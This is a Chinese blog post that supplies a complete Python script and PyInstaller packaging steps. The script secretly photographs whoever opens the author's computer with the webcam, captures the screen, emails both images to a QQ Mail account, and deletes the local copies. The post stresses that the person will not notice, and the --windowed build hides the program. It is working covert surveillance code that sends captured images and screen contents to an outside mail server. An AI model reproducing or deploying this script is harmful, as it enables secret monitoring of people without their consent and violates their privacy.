python自动拍照,截屏发送至手机上

这个代码时用python写的一个脚本,我使用的方面是,别人只要打开我的电脑,这个脚本就会拍一张电脑使用人,还有把电脑屏幕截屏一次,别人不会发现。

这个要用到QQ邮箱的SMTP服务器地址和密码,这个你们可以在网上找一下教程很多,稍微调试一下代码就可以用了,

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.header import Header
import pyautogui
import os
import cv2

# 邮件配置信息
sender_receiver = '@qq.com' #邮箱名字比如12346@qq.com
smtp_info = {
    'server': 'smtp.qq.com',
    'port': 587,
    'username': '@qq.com',#邮箱名字比如12346@qq.com
    'password': '*********', #这是邮箱密码,不是登录密码 SMTP服务器密码
}

# 邮件内容设置
subject = '有人打开了你的电脑'
body = '您的电脑已被开启,并有摄像头记录,请留意。'

# 屏幕截图保存路径,保存到D盘根目录
screenshot_path = "D:\\screenshot.jpg"

# 摄像头捕捉图像保存路径,保存到D盘根目录
camera_capture_path = "D:\\camera_capture.jpg"

def capture_screenshot(path):
    """捕获屏幕截图并保存"""
    pyautogui.screenshot(path)
    print(f"屏幕截图已保存至{path}")

def capture_image_from_camera(path):
    """使用摄像头捕获单帧图像并保存"""
    cap = cv2.VideoCapture(0)
    if not cap.isOpened():
        print("无法打开摄像头")
        return
    ret, frame = cap.read()
    cap.release()
    if ret:
        cv2.imwrite(path, frame)
        print(f"摄像头图像已保存至{path}")
    else:
        print("捕获图像失败")

# 执行屏幕截图和摄像头捕捉
capture_screenshot(screenshot_path)
capture_image_from_camera(camera_capture_path)

# 创建邮件消息
msg = MIMEMultipart()
msg['From'] = Header(sender_receiver)
msg['To'] = Header(sender_receiver)
msg['Subject'] = Header(subject)
msg.attach(MIMEText(body, 'plain', 'utf-8'))

# 添加屏幕截图附件
with open(screenshot_path, 'rb') as f:
    img_data_screen = f.read()
img_screen = MIMEImage(img_data_screen, name=os.path.basename(screenshot_path))
msg.attach(img_screen)

# 添加摄像头捕捉图像附件
with open(camera_capture_path, 'rb') as cam_f:
    img_data_cam = cam_f.read()
img_cam = MIMEImage(img_data_cam, name=os.path.basename(camera_capture_path))
msg.attach(img_cam)
# 发送邮件
try:
    with smtplib.SMTP(smtp_info['server'], smtp_info['port']) as server:
        server.starttls()  # 启用安全传输
        server.login(smtp_info['username'], smtp_info['password'])
        server.send_message(msg)
    print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!")

    # 删除已发送的照片文件
    os.remove(screenshot_path)
    os.remove(camera_capture_path)
    print(f"照片已永久删除: {screenshot_path} 和 {camera_capture_path}")

except Exception as e:
    print(f"邮件发送失败: {e}")
    # 如果邮件发送失败,不删除照片,以便后续可能的重试或问题排查
    print("照片未被删除,因为邮件发送失败。")

# 注意替换上述代码中的'your_email@example.com'、'smtp.example.com'、'your_password'为实际的邮箱地址、SMTP服务器地址和密码。

代码必须要打包出来 

#在Windows上,将Python程序打包成可以在后台运行的应用程序,你可以使用以下步骤:

#编写你的Python脚本:
#确保你的脚本能够在命令行界面中运行,没有依赖于图形界面的部分。

#使用PyInstaller打包脚本:
PyInstaller是一个流行的工具,可以将Python脚本转换为独立的可执行文件(.exe)。安装PyInstaller:


pip install pyinstaller
#打包你的脚本:
#在命令行中,导航到你的脚本所在的目录,并运行以下命令:

pyinstaller --onefile --windowed your_script.py

#这里,--onefile选项创建单个可执行文件,--windowed选项防止显示命令行窗口。

效果图:

  • 8
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值